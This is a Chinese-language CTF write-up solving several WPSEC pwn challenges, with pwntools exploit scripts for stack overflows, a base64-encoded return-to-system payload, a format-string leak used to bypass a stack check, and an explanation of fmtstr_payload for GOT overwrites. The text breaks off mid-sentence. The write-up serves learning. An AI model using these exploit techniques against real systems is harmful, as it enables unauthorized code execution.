WPSEC pwn题 wp
不得不说 今天突然想起来了 去WPSEC 看了看 突然发现有了pwn题 就去刷刷玩玩吧
突然想起来有一道题 是用z3 做的 但是一直没有跑出来 感觉有点问题
然后先看第一题吧
很没有基础含量的一道题 可以 直接栈溢出 然后 出来结果
exp 如下
#!/usr/bin/python
#coding:utf-8
from pwn import*
io=remote("143.248.249.64","9000")
a='a'*52+p32(0xCAFEBABE)
io.sendline(a)
io.interactive()
然后MD5 一下 就可以了
然后就是第三题 第二题看我的头疼 就不看了 嘿嘿
第三题 先看一下大概的程序流程
可以看得出来 要求的字符串是 base64 而且 解密 长度 小于13 然后 点进 auth 和 correct 发现
然后我们看到了 system 这里就感觉很关键 可以直接 直接 构造返回就可以
然后这里我注意到了 两件事情
第一: input 在bss 段
第二 : v4 在 ebp-8h 的位置 我们可以覆盖 4字节的地址 在 ebp
在主函数的位置上 我们知道 返回地址是 ebp+4 ==esp
我们只需要 让我们 覆盖的地址 返回到 input的地方 input的地方 只需要 添一个 system函数地址就可以了
exp 如下
#!/usr/bin/python
#coding:utf-8
from pwn import*
io=remote("143.248.249.64","9003")
system_addr=0x08049284
a='a'*4
input_addr=0x0811EB3C
payload=b64e(p32(system_addr)+a+p32(input_addr))
io.sendline(payload)
print payload
io.interactive()
然后就是第四题
这个题 还是有点好玩的
其中 有setvbuf 我就知道不是简单的 栈溢出 果然 在汇编窗口我找到了 这个东西
他是拿 FFB6B10C 的地址 来比较 这个应该就是 验证了 我记得以前写过这个
绕过这个验证也很简单 把这个地址 本来的值 给 记录下来 然后 覆盖后 从新填入就可以了 这个实现起来 并不难
毕竟有两个gets 然后就开始这个 我调试的时候 第一个gets 是 FFB6B0D0 那么偏移就是 15 这个就容易实现了
exp
#!/usr/bin/python
#coding:utf-8
from pwn import*
io=remote('172.104.78.53',22002)
system_addr=0x08048553
io.sendline('%15$x')
pro=int(io.recv(),16)
pay='a'*40+p32(pro)+'a'*12+p32(system_addr)
print pay
io.sendline(pay)
io.interactive()
然后就是 第四题
在第四题前 我想先介绍一个函数 fmtstr_payload 这个是pwntools 自带的函数 有 三个参数 第一个是偏移
第二个 和第三个就是被写入 和要写入的地址
例如 fmtstr_payload(offset, {printf_got: system_add})
然后这道题 先看一下大概内容
发现并没有什么 可以直接system 的函数 这个就比较尴尬了
而 用两个函数 直接